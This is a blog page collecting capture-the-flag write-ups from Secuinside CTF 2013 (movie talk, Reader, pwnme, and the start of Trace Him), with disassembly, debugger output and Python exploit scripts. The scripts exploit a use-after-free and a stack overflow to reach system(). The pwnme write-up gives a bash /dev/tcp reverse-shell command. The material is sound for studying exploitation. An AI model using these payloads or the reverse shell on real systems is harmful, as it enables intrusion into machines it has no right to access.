[Secuinside CTF 2013] movie talk

May 30, 2013 by deroko · 2 Comments 

Challenge itself is very interesting, as we have typical use-after-free problem. It’s running on Ubuntu 13.04 with NX + ASLR.

When we run challenge it gives us message as :

######################################
#                                    #
#   Welcome to the movie talk show   #
#                                    #
######################################

1. movie addition
2. movie deletion
3. my movie list
4. quit
:

movie addition is very straight forward:

.text:080489F4                 mov     dword ptr [esp], 14h ; size
.text:080489FB                 call    _malloc
.text:08048A00                 mov     [ebp+movie_array], eax
.text:08048A03                 cmp     [ebp+movie_array], 0
.text:08048A07                 jnz     short __mem_alloc_ok

Alloc struct to hold movie_list which is described like this:

00000000 movie_list      struc ; (sizeof=0x14)
00000000 fn_moviedetails dd ?
00000004 movie_name      dd ?
00000008 movie_id        dd ?
0000000C movie_rating    dd ?
00000010 movie_rate      dd ?

Than we have small sleep of 2 seconds here:

.text:0804880A ; signed int __cdecl get_film_name_rating(movie_list a1)
.text:0804880A get_film_name_rating proc near
.text:0804880A                 push    ebp
.text:0804880B                 mov     ebp, esp
.text:0804880D                 sub     esp, 58h
.text:08048810                 mov     eax, [ebp+movie_array.fn_moviedetails]
.text:08048813                 mov     [ebp+l_movie_array], eax
.text:08048816                 mov     eax, large gs:14h
.text:0804881C                 mov     [ebp+cookie], eax
.text:0804881F                 xor     eax, eax
.text:08048821                 mov     dword ptr [esp], 2 ; seconds
.text:08048828                 call    _sleep   <--- very important here is this sleep remember it for later

than movie name is obtained from input:

.text:0804882D                 mov     dword ptr [esp], offset aMovieName ; "movie name: "
.text:08048834                 call    _printf
.text:08048839                 mov     eax, ds:stdin
.text:0804883E                 mov     [esp+8], eax    ; stream
.text:08048842                 mov     dword ptr [esp+4], 1Eh ; n
.text:0804884A                 lea     eax, [ebp+nptr]
.text:0804884D                 mov     [esp], eax      ; s
.text:08048850                 call    _fgets
.text:08048855                 lea     eax, [ebp+nptr]
.text:08048858                 mov     [esp], eax      ; s
.text:0804885B                 call    _strlen
.text:08048860                 mov     [ebp+n], eax
.text:08048863                 mov     eax, [ebp+n]
.text:08048866                 add     eax, 1
.text:08048869                 mov     [esp], eax      ; size
.text:0804886C                 call    _malloc          <--- malloc (also very important)

Other code is not important, as it reads movie rating, which can be in range from 0-101 (although code says movie rating 1-100), not really important. Also application asks for movie_rate which can be in range:

mov     dword ptr [esp], offset aFilmRate012151 ; "film rate [0,12,15,19]: "

Than ID of movie is assigned which is it’s current place in array of movies, and not actual ID, and function to display movie is stored also as part of movie_list struct.

.text:08048989                 mov     edx, ds:g_count_of_array
.text:0804898F                 mov     eax, [ebp+l_movie_array]
.text:08048992                 mov     [eax+movie_list.movie_id], edx
.text:08048995                 mov     eax, [ebp+l_movie_array]
.text:08048998                 mov     [eax+movie_list.fn_moviedetails], offset PutMovieDetails
.text:0804899E                 mov     eax, 1

We noticed first that we can assign random ID to the movie, buy deleting them, and were looking at this code first. For example, when deleting movie this code is used to get it’s index:

.text:08048AFB                 call    _fgets
.text:08048B00                 movzx   eax, [ebp+s]
.text:08048B04                 movsx   eax, al
.text:08048B07                 sub     eax, 31h

Obviously, if we enter 10 it will always delete movie at index 0, as it considers only one char, thus we were looking where we can confuse program to reuse wrong index. Not good… nothing found. Code seemed like very well written, without errors. Every movie delete would fill gaps in array, thus code really seemed bullet-proof.

When code is about to exit, there was one function called, which would free whole array of movies:

.text:08048C3B                 push    ebp
.text:08048C3C                 mov     ebp, esp
.text:08048C3E                 sub     esp, 28h
.text:08048C41                 mov     [ebp+index], 0
.text:08048C48                 jmp     short loc_8048C94
.text:08048C4A __loop_delete:
.text:08048C4A                 mov     eax, [ebp+index]
.text:08048C4D                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C54                 test    eax, eax
.text:08048C56                 jz      short __no_movie
.text:08048C58                 mov     eax, [ebp+index]
.text:08048C5B                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C62                 mov     eax, [eax+movie_list.movie_name]
.text:08048C65                 test    eax, eax
.text:08048C67                 jz      short __no_movie
.text:08048C69                 mov     eax, [ebp+index]
.text:08048C6C                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C73                 mov     eax, [eax+movie_list.movie_name]
.text:08048C76                 mov     [esp], eax      ; ptr
.text:08048C79                 call    _free
.text:08048C7E                 mov     eax, [ebp+index]
.text:08048C81                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C88                 mov     [esp], eax      ; ptr
.text:08048C8B                 call    _free
.text:08048C90
.text:08048C90 __no_movie:
.text:08048C90                 add     [ebp+index], 1
.text:08048C94
.text:08048C94 loc_8048C94:
.text:08048C94                 cmp     [ebp+index], 9
.text:08048C98                 jbe     short __loop_delete
.text:08048C9A                 leave
.text:08048C9B                 ret

This function, would give us full control over arrays of movies, as we could free movies, and reuse freed memory to be used later during printing movie:

.text:08048BFA                 mov     eax, [ebp+index]
.text:08048BFD                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C04                 test    eax, eax
.text:08048C06                 jz      short loc_8048C23
.text:08048C08                 mov     eax, [ebp+index]
.text:08048C0B                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C12                 mov     eax, [eax+movie_list.fn_moviedetails]
.text:08048C14                 mov     edx, [ebp+index]
.text:08048C17                 mov     edx, ds:g_movie_array.fn_moviedetails[edx*4]
.text:08048C1E                 mov     [esp], edx
.text:08048C21                 call    eax      <-- if we free we could reuse movie.fn_moviedetails
 to execute our code.

Than we saw something interesting:

.text:08048CA5                 mov     dword ptr [esp+4], offset handler ; handler
.text:08048CAD                 mov     dword ptr [esp], 3 ; sig
.text:08048CB4                 call    _signal         ; SIGQUIT

We can invoke free on all lists by sending signal 3 to the process, so we can actually free structs. When we run into it, in a few sec we had working poc: @__suto replied on skype : 0×41414141 , and at the same time I replied with 0×61616161 so we knew we have eip control. Now I’ll try to explain how we got to this point. We found also way to leak address of puts from GOT thus we can recalculate system address and call system(”cat key.txt”), as this point we handed POC to xichzo which soon got key, and we got 550 :)

Leaking address is something we didn’t manage to do, as application can’t be piped to receive data in real time, eg. pipe is flushed only when process dies, thus even if we leak address it wouldn’t be too much use, as on next run address would be different. So here we go for explanation of our use-after-free exploit:

Break after 1st malloc when adding movie:

--------------------------------------------------------------------------[regs]
 EAX: 0x0804C008  EBX: 0xB7FC3000  ECX: 0xB7FC3440  EDX: 0x0804C008  o d I t S z a P c
 ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF178  ESP: 0xBFFFF150  EIP: 0x08048A00
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8048a00:    mov    DWORD PTR [ebp-0x10],eax
 0x8048a03:    cmp    DWORD PTR [ebp-0x10],0x0
 0x8048a07:    jne    0x8048a15
 0x8048a09:    mov    DWORD PTR [esp],0x8048e93
 0x8048a10:    call   0x80486fc
 0x8048a15:    mov    eax,DWORD PTR [ebp-0x10]
 0x8048a18:    mov    DWORD PTR [esp],eax
 0x8048a1b:    call   0x804880a
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048a00 in ?? ()

Now comes sleep of 2 seconds, and we allocate 1st movie. This is very important to look at memory layout once 1st movie is added:

gdb$ dd 0x804c008
[0x007B:0x0804C008]-------------------------------------------------------[data]
0x0804C008 : AA 87 04 08 20 C0 04 08 - 01 00 00 00 00 00 00 00 .... ...........
0x0804C018 : 00 00 00 00 19 00 00 00 - 61 61 61 61 61 61 61 61 ........aaaaaaaa
0x0804C028 : 61 61 61 61 61 61 0A 00 - 00 00 00 00 D1 0F 02 00 aaaaaa..........
0x0804C038 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
0x0804C048 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
0x0804C058 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................

So movie_list is:

00000000 fn_moviedetails        0x080487AA      <--- display function
00000004 movie_name             0x0804C020      <--- movie name
00000008 movie_id               0x1             <--- index in global array of movies (not important)
0000000C movie_rating           0x0             <--- dummy value which we set to be 0
00000010 movie_rate             0x0             <--- dummy value which we set to be 0

Lets observe memory when we allocate 2nd movie_list:

EAX = 0x0804C038        <--- right after our movie name string.

Now when process goes into sleep(2) at :

.text:08048821                 mov     dword ptr [esp], 2 ; seconds
.text:08048828                 call    _sleep

We will fire killall -3 movie_talk to free memory occupied by 1st movie_list, and malloc for movie_name will be allocated here. To make it easier for debugging we can cheat by increasing timer to 32 sec:

--------------------------------------------------------------------------[regs]
 EAX: 0x00000000  EBX: 0xB7FC3000  ECX: 0xB7FC3440  EDX: 0x0804C038  o d I t s Z a P c
 ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF148  ESP: 0xBFFFF0F0  EIP: 0x08048828
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8048828:    call   0x8048550 <sleep@plt>
 0x804882d:    mov    DWORD PTR [esp],0x8048e86
 0x8048834:    call   0x8048500 <printf@plt>
 0x8048839:    mov    eax,ds:0x804b064
 0x804883e:    mov    DWORD PTR [esp+0x8],eax
 0x8048842:    mov    DWORD PTR [esp+0x4],0x1e
 0x804884a:    lea    eax,[ebp-0x2a]
 0x804884d:    mov    DWORD PTR [esp],eax
--------------------------------------------------------------------------------
0x08048828 in ?? ()
gdb$ break *0x804882d
Breakpoint 15 at 0x804882d
gdb$ set *(unsigned int *)$esp = 0x20
gdb$

...
=> 0xb7fdd424 <__kernel_vsyscall+16>:    pop    ebp
 0xb7fdd425 <__kernel_vsyscall+17>:    pop    edx
 0xb7fdd426 <__kernel_vsyscall+18>:    pop    ecx
 0xb7fdd427 <__kernel_vsyscall+19>:    ret

Signal fired, and we can continue:

=> 0x804882d:    mov    DWORD PTR [esp],0x8048e86
 0x8048834:    call   0x8048500 <printf@plt>
 

Now watch for malloc:

--------------------------------------------------------------------------[regs]
 EAX: 0x0804C008  EBX: 0xB7FC3000  ECX: 0xB7FC3440  EDX: 0x0804C008  o d I t S z a P c
 ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF148  ESP: 0xBFFFF0F0  EIP: 0x08048871
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8048871:    mov    edx,eax
 0x8048873:    mov    eax,DWORD PTR [ebp-0x3c]
 0x8048876:    mov    DWORD PTR [eax+0x4],edx
 0x8048879:    mov    eax,DWORD PTR [ebp-0x3c]
 0x804887c:    mov    eax,DWORD PTR [eax+0x4]
 0x804887f:    test   eax,eax
 0x8048881:    jne    0x804888f
 0x8048883:    mov    DWORD PTR [esp],0x8048e93
--------------------------------------------------------------------------------

Temporary breakpoint 20, 0x08048871 in ?? ()</pre>
EAX = 0x804C008 <--- where we had 1st movie list, thus we control movie_list and
function pointer at movie_list.fn_moviedetails

Lets look at memory after input is copied there:

gdb$ dd 0x804c008
[0x007B:0x0804C008]-------------------------------------------------------[data]
0x0804C008 : 61 61 61 61 61 61 61 61 - 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0x0804C018 : 0A 00 00 00 19 00 00 00 - 00 00 00 00 61 61 61 61 ............aaaa
0x0804C028 : 61 61 61 61 61 61 61 61 - 0A 00 00 00 19 00 00 00 aaaaaaaa........
0x0804C038 : 00 00 00 00 08 C0 04 08 - 00 00 00 00 00 00 00 00 ................
0x0804C048 : 00 00 00 00 B9 0F 02 00 - 00 00 00 00 00 00 00 00 ................

Woops, 1st movie_lsit is overwriten, now we can list movies and watch how our
data goes to 0x61616161:

.text:08048BFA                 mov     eax, [ebp+index]
.text:08048BFD                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C04                 test    eax, eax
.text:08048C06                 jz      short loc_8048C23
.text:08048C08                 mov     eax, [ebp+index]
.text:08048C0B                 mov     eax, ds:g_movie_array.fn_moviedetails[eax*4]
.text:08048C12                 mov     eax, [eax+movie_list.fn_moviedetails]
.text:08048C14                 mov     edx, [ebp+index]
.text:08048C17                 mov     edx, ds:g_movie_array.fn_moviedetails[edx*4]
.text:08048C1E                 mov     [esp], edx
.text:08048C21                 call    eax

--------------------------------------------------------------------------[regs]
 EAX: 0x61616161  EBX: 0xB7FC3000  ECX: 0xB7FDA000  EDX: 0x0804C008  o d I t s z a p c
 ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF178  ESP: 0xBFFFF150  EIP: 0x08048C21
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8048c21:    call   eax
 0x8048c23:    add    DWORD PTR [ebp-0xc],0x1

What is also important to notice here, is that movie list is pushed on stack, that means that stack layout is pointing to our controled buffer, so whatever we put into this movie_name, can be used as  argument for our code:

gdb$ x/4wx $esp
0xbffff150:    0x0804c008    0x0000000c    0xb7fc3ac0    0xb7e13900
               ^^^^^^^^^^
                   |
                   +---- our controled input

Address leak bonus, which was our 1st idea to get system address right away, was to leak puts address and do subtraction, unfortunately due to writing to pipe output would only come when pipe buffer is filled or process is terminated, so our idea didn't work, but for fun here is our code to leak puts address:

gdb$ p puts-system
$1 = 0x26cf0
import time
import struct
import os
import subprocess

proc = subprocess.Popen("./movie_talk",
                        #shell=True,
                        stdin = subprocess.PIPE,
                        stdout = subprocess.PIP,
                        stderr = subprocess.PIPE);

payload = "1\n" + "a" * 16 + "\n0\n0\n"

#leak address of puts on ubuntu 13.04
payload += "1\n";
payload += struct.pack("<L", 0x80487aa);
payload += struct.pack("<L", 0x804b030);
payload += struct.pack("<L", 0x804b030);
payload += "\n0\n0\n"
payload += "3\n";
proc.stdin.write(payload);
time.sleep(3);
os.system("killall -3 movie_talk");
time.sleep(5);
proc.stdin.write("4\n");
proc.wait();
buff = proc.stdout.read();
index = buff.find("movie id: 134524976");
index+=7;
index+=len("movie id: 134524976");
data = struct.unpack("<L", buff[index:index+4]);
for x in data:
    print("puts address   : 0x%.08X" % x);
    print("system address : 0x%.08X" % (x-0x26cf0));

and simple exploit to crash process (enable core dump):

#!/usr/bin/env python
import  subprocess
import  time
import  os

proc = subprocess.Popen("./movie_talk",
                       shell=False,
                       stdin=subprocess.PIPE);

proc.stdin.write("1\n" + "a"*16+"\n"+"0\n0\n");
proc.stdin.write("1\n" + "a"*16+"\n"+"0\n0\n"); <-- payload goes here
time.sleep(3);
os.system("killall -3 movie_talk");
proc.stdin.write("3\n");
proc.stdin.write("4\n");
proc.wait();
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

[Secuinside CTF 2013] Reader Writeup

May 29, 2013 by suto · Leave a Comment 

Description:

http://war.secuinside.com/files/reader

ip : 59.9.131.155
port : 8282 (SSH)
account : guest / guest

We have obtained a program designed for giving orders to criminals.

Our investigators haven’t yet analyzed the file format this program reads.

Please help us analyze the file format this program uses, find a vulnerability, and take a shell.

From the description we can know this challenge requires an input file with correct format. Since it is simple to determine that format, I won’t talk deeper, you can find the details in sub_0804891A.
So I will show the vulnerability in this “Reader”.

Below is the main routine of this challenge:

int __cdecl sub_80490B8(signed int a1, int a2)
{
  int v2; // ecx@7
  int result; // eax@7
  int file; // [sp+20h] [bp-90h]@4
  char buffer[140]; // [sp+24h] [bp-8Ch]@1

  *(_DWORD *)&buffer[136] = *MK_FP(__GS__, 20);
  if ( a1 <= 1 )
  {
    printf("Usage: %s <FILENAME>\n", *(_DWORD *)a2);
    exit(1);
  }
  sub_8048825(*(const char **)(a2 + 4));
  file = open(*(const char **)(a2 + 4), 0);
  if ( file < 0 )
  {
    perror(&byte_8049322);
    exit(1);
  }
  pre_path(file, (_DWORD *)buffer);
  vuln_path((_DWORD *)buffer);
  free_path((_DWORD *)buffer);
  close(file);
  result = 0;
  if ( *MK_FP(__GS__, 20) != *(_DWORD *)&buffer[136] )
    __stack_chk_fail(v2, *MK_FP(__GS__, 20) ^ *(_DWORD *)&buffer[136]);
  return result;
}

As you can see, variable buffer is used in multiple locations. After some minutes review I saw an interesting point in sub_08048C7A:

int __cdecl vuln_path_(_DWORD *BUFF)
{
  size_t ulen; // eax@4
  int v2; // edx@4
  int v3; // ecx@4
  int result; // eax@4
  unsigned int i; // [sp+28h] [bp-20h]@1
  int v6; // [sp+3Ch] [bp-Ch]@1

  v6 = *MK_FP(__GS__, 20);
  for ( i = 0; BUFF[2] > i; ++i )
  {
    putchar(*(_BYTE *)(BUFF[7] + i));
    fflush(stdout);
    usleep(BUFF[3]);
  }
  ulen = strlen((const char *)BUFF + 83);       // re-cal length (1)
  strncpy(BUFF[6], gPTR, ulen);                 // overflow occurs
  puts("\n");
  result = *MK_FP(__GS__, 20) ^ v6;
  if ( *MK_FP(__GS__, 20) != v6 )
    __stack_chk_fail(v3, v2);
  return result;
}

The strncpy() function copies ulen bytes from gPTR to BUFF[6] without any limit check. So I back to main routine to see where BUFF[6] is initialized, and it is located in sub_08048D41:

 unsigned int index; // [sp+18h] [bp-20h]@1
  int s[7]; // [sp+1Ch] [bp-1Ch]@1

  bzero(s, 0x14u);
  putchar(10);
  for ( index = 0; *BUFF > index; ++index )
  {
    putchar(*(_BYTE *)(BUFF[5] + index));
    fflush(stdout);
    usleep(BUFF[3]);
  }
  printf("\n\n ");
  for ( index = 0; BUFF[1] + 4 > index; ++index )
  {
    putchar(*((_BYTE *)BUFF + 16));
    fflush(stdout);
    usleep(BUFF[3]);
  }
 .....
 .....
  BUFF[6] = &index;
 .....
 .....

So BUFF[6] is set to address of local variable of this function, we can clearly see this function is not protected by stack cookie. So it is just a simple buffer overflow issue. We can craft a valid file format and see where it gets the input to calculate ulen in (1). Back to sub_0804891A we can see:

 *BUFF = *(_DWORD *)&buf;
  read(fd, &buf, 4u);
  BUFF[1] = *(_DWORD *)&buf;                    // read 4 bytes from file
  read(fd, &buf, 4u);
  BUFF[2] = *(_DWORD *)&buf;
  read(fd, &buf, 4u);
  BUFF[3] = *(_DWORD *)&buf;
  read(fd, &buf, 1u);
  *((_BYTE *)BUFF + 16) = buf;
  if ( *BUFF <= 4u || *BUFF > 0x32u || BUFF[1] > 0x64u || BUFF[2] > 0x320u || !*((_BYTE *)BUFF + 16) )// 0x4-0x32 0x64 0x32
    ((void (__cdecl *)(_DWORD))ERR)("Initialization error");
  Copy(&buf, (char *)BUFF + 32);
  BUFF[5] = malloc(*BUFF);
  if ( !BUFF[5] )
    ((void (__cdecl *)(_DWORD))ERR)("malloc() function error");
  BUFF[6] = malloc(BUFF[1]);                    // use 4 bytes read above to malloc -> BUFF[6] will has this length
  gPTR = (void *)BUFF[6]; -> Set gPTR to BUFF[6]
  if ( !BUFF[6] )
    ((void (__cdecl *)(_DWORD))ERR)("malloc() function error");
  BUFF[7] = malloc(BUFF[2]);
  if ( !BUFF[7] )
    ((void (__cdecl *)(_DWORD))ERR)("malloc() function error");
  bzero((void *)BUFF[5], *BUFF);
  bzero((void *)BUFF[6], BUFF[1]);
  bzero((void *)BUFF[7], BUFF[2]);
  read(fd, (void *)BUFF[5], *BUFF);
  read(fd, (void *)BUFF[6], BUFF[1]);
  read(fd, (void *)BUFF[7], BUFF[2]);

Since it checks BUFF[1] with 0×64, I blindly set it to 0×63 to maximize the len of gPTR string and got a nice crash, so no need to do further investigation. Below is python code to generate valid “test.sec” file and trigger the crash:

data = "\xff" + "SECUINSIDE" + "\x00" + "A\x00"+"A"*26 +"CCCC" + "B"*(100-4-28) +"\xff"*4
       + "\x08\x00\x00\x00"
       + "\x63\x00\x00\x00" # will become BUFF[1] and length of BUFF[6]
       + "\x32\x00\x00\x00"
       + "\x00\x00\x00\x00"
       + "X"*200
file = open("test.sec","w")
file.write(data)
file.close()

Run reader with test.sec and we got a crash looks like:

- THE END -
document identifier code: 14821847921482184792148218479214821847921482184792

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x2
EBX: 0xb7fcfff4 --> 0x1a0d7c
ECX: 0xffffffff
EDX: 0xb7fd18b8 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x58585858 ('XXXX')
ESP: 0xbffff640 ("XXXXXXXXXX")
EIP: 0x58585858 ('XXXX')
EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x58585858
[------------------------------------stack-------------------------------------]
0000| 0xbffff640 ("XXXXXXXXXX")
0004| 0xbffff644 ("XXXXXX")
0008| 0xbffff648 --> 0x5858 ('XX')
0012| 0xbffff64c --> 0xb7fff918 --> 0x0
0016| 0xbffff650 --> 0x0
0020| 0xbffff654 --> 0x0
0024| 0xbffff658 --> 0x0
0028| 0xbffff65c --> 0xbffff794 --> 0xbffff8b6 ("/home/suto/reader")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x58585858 in ?? ()

As this is a local exploit, “ulimit -s unlimited” trick will help to de-randomize libc and a simple system(”sh”) will work. Payload:

system = 0x4006b280
sh = 0x8048366
payload = "\xff" + "SECUINSIDE" + "\x00" + "A\x00"+"A"*26 +"CCCC" + "B"*(100-4-28) +"\xff"*4
         + "\x08\x00\x00\x00"
         + "\x08\x00\x00\x00"
         + "\x32\x00\x00\x00"
         + "\x00\x00\x00\x00"
         + "A"*37 # padding
         + struct.pack("<L", system) + struct.pack("<L", -1) + struct.pack("<L", sh)
fd = open("test.sec","w")
fd.write(payload)
fd.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

[Secuinside CTF 2013] pwnme writeup

May 28, 2013 by longld · 8 Comments 

Challenge summary:

Binary : http://war.secuinside.com/files/pwnme
Source : http://war.secuinside.com/files/pwnme.c
===================================
OS : Ubuntu 13.04 with PIE+ASLR+NX
md5 of libc-2.17.so : 45be45152ad28841ddabc5c875f8e6e4

IP : 54.214.248.68
PORT : 8181,8282,8383

This is the only exploit challenge comes with source. The bug is simple: buffer overflow with only 16-bytes at pwnme.c:67, just enough to control EIP. The goal is to bypass PIE+ASLR+NX. We first thought about information leak by overwriting one byte of saved EIP and looking for status. Unfortunately, this way soon becomes an dead end as socket was closed before returning at pwnme.c:72, so no more input, output can be provided to the program. Conclusion: we have to bruteforce for useful addresses, and due to binary is PIE bruteforcing for libc address the best way for code reuse. Luckily, ASLR on Ubuntu x86 is weak, the libc base address looks like 0xb7NNN000 with only 12-bits randomization. Server daemon will fork a child process for every coming connection, that means addresses will be the same for all instances and bruteforcing 12-bits only take 4096 tries at max. If server is fast, stable this can be done in few minutes, but in fact CTF game server was out of service for most of the time :).

Now we can assume that libc is at fixed address, let build the payload. But where is my input buffer? It was zeroing out at pwnme.c:71, there must be something hidden. Let take a look at crash by sending a 1040 bytes pattern buffer:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb774b000 --> 0x1aed9c
ECX: 0x0
EDX: 0xb774b000 --> 0x1aed9c
ESI: 0x0
EDI: 0x0
EBP: 0x41397441 ('At9A')
ESP: 0xbfac6ce0 --> 0x1
EIP: 0x75417375 ('usAu')
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x75417375
[------------------------------------stack-------------------------------------]
0000| 0xbfac6ce0 --> 0x1
0004| 0xbfac6ce4 --> 0xbfac6d74 --> 0xbfac78db ("./pwnme")
0008| 0xbfac6ce8 --> 0xbfac6d7c --> 0xbfac78e3 ("TERM=xterm")
0012| 0xbfac6cec --> 0xb777a000 --> 0x20f38
0016| 0xbfac6cf0 --> 0x20 (' ')
0020| 0xbfac6cf4 --> 0x0
0024| 0xbfac6cf8 --> 0xb77566f0 --> 0xb759c000 --> 0x464c457f
0028| 0xbfac6cfc --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x75417375 in ?? ()
gdb-peda$ patts
Registers contain pattern buffer:
EIP+0 found at offset: 1036
EBP+0 found at offset: 1032
No register points to pattern buffer
Pattern buffer found at:
0xb7753000 : offset 1016 - size   24 (mapped)
0xb7753023 : offset   27 - size  989 (mapped)
0xbfac6cd0 : offset 1024 - size   16 ($sp + -0x10 [-4 dwords])
References to pattern buffer found at:
0xb774ba24 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba28 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba2c : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba30 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba34 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba38 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba3c : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xbfac6210 : 0xb7753000 ($sp + -0xad0 [-692 dwords])
0xbfac6224 : 0xb7753000 ($sp + -0xabc [-687 dwords])
0xbfac6248 : 0xb7753000 ($sp + -0xa98 [-678 dwords])
0xbfac6254 : 0xb7753000 ($sp + -0xa8c [-675 dwords])
0xbfac6294 : 0xb7753000 ($sp + -0xa4c [-659 dwords])
0xbfac67c8 : 0xb7753000 ($sp + -0x518 [-326 dwords])
0xbfac67d4 : 0xb7753000 ($sp + -0x50c [-323 dwords])
0xbfac6814 : 0xb7753000 ($sp + -0x4cc [-307 dwords])
gdb-peda$

Our input buffer is still there in non-stack memory starts at 0xb7753000, actually this is “stdout” buffer used in printf() at pwnme.c:70.

gdb-peda$ info symbol 0xb7753000
No symbol matches 0xb7753000.
gdb-peda$ info symbol 0xb774ba24
_IO_2_1_stdout_ + 4 in section .data of /lib/i386-linux-gnu/tls/i686/nosegneg/libc.so.6

We can only assume that libc is fixed, if above buffer address is randomized things will become worse (means finding tedious ROP gadgets to pivot). Fortunately, that buffer is at fixed offset related to libc address.

gdb-peda$ vmmap libc
Start      End        Perm    Name
0xb759c000 0xb7749000 r-xp    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
0xb7749000 0xb774b000 r--p    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
0xb774b000 0xb774c000 rw-p    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
gdb-peda$ distance 0xb759c000 0xb7753000
From 0xb759c000 to 0xb7753000: 1798144 bytes, 449536 dwords

Try to run the program several times to check and the offset is unchanged. We can build the payload now, the simplest one is calling system() with bash reverse shell, or you can try harder with full ROP payload (like what we did during the contest and wasted few more hours :)).

Sample payload will look like:

base = 0xb7500000 + bruteforce_value
target = base + 1798144 + 0x304 # make enough space for fake stack
cmd_ptr = target + some_offset # calculate it yourself
cmd = "bash -c 'exec >/dev/tcp/127.127.127.127/4444 0<&1';"
payload = [ret ... ret, system, exit, cmd_ptr, cmd, padding] # total size = 1032
payload += [target] # will become EBP
payload += [leave_ret] # stack pivoting

Run it hundred of times and wait for a shell coming to your box.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

[Secuinside CTF 2013]Trace Him Writeup

May 27, 2013 by suto · 2 Comments 

Description:

IP : 59.9.131.155
port : 18562 (SSH)
account :  control  / control porsche
binary : http://war.secuinside.com/files/firmware
data : http://war.secuinside.com/files/car.bin
(To prevent meaningless waste of time on certain analysis, car.bin is open to public.)
hint :
root@ubuntu:~# uname -a
Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:19:42 UTC 2013 i686 i686 i686 GNU/Linux
The evil group is running away by a car who stole personal information of BHBank.
The car has feature that you could do like “remote desktop.”
You can find a vulnerability and stop the car. Get the evil!

IP : 59.9.131.155

port : 18562 (SSH)

account :  control  / control porsche

binary : http://war.secuinside.com/files/firmware

data : http://war.secuinside.com/files/car.bin

(To prevent meaningless waste of time on certain analysis, car.bin is open to public.)

hint :

root@ubuntu:~# uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:19:42 UTC 2013 i686 i686 i686 GNU/Linux

The evil group is running away by a car who stole personal information of BHBank.

The car has feature that you could do like “remote desktop.”

You can find a vulnerability and stop the car. Get the evil!

When login to with ssh credential provided, we’ll get a car’s control interface look like:

Using arrow keys to mov “O” around. Now look at the binary we can know how to control this car.
Go to sub_804B01C function we can see a simple switch/case looks like:

 switch ( recvChr )
    {
    case '1':
     ..........
    case '2':
     .........
    case 'A':
     .......
    case 'B':
     .......
    case 'D':
     .......
    case 'C':
     .......
    case ' ':
     .......
    default:
}

Using these keys we can playing with feature that interface provided. When navigate the “O” to the “@” position,press [SPACE] , it will provide 3 options look like:

Let go to the binary and find out how it implemented. Take a look at function sub_0804902B:

  obj_1 = (obj_1 *)malloc(52u);
  memset(obj_1, 0, 0x34u);
  obj_1->indi = '+';
  obj_1->flag_1 = 12;
  obj_1->flag_2 = 5;
  obj_1->flag_3 = 8;
  obj_1->handle = (int)f_handle;
  obj_1->window = (int)&obj_1->case1;
  obj_1->case1 = (int)case1_1;
  obj_1->case2 = (int)case1_2;
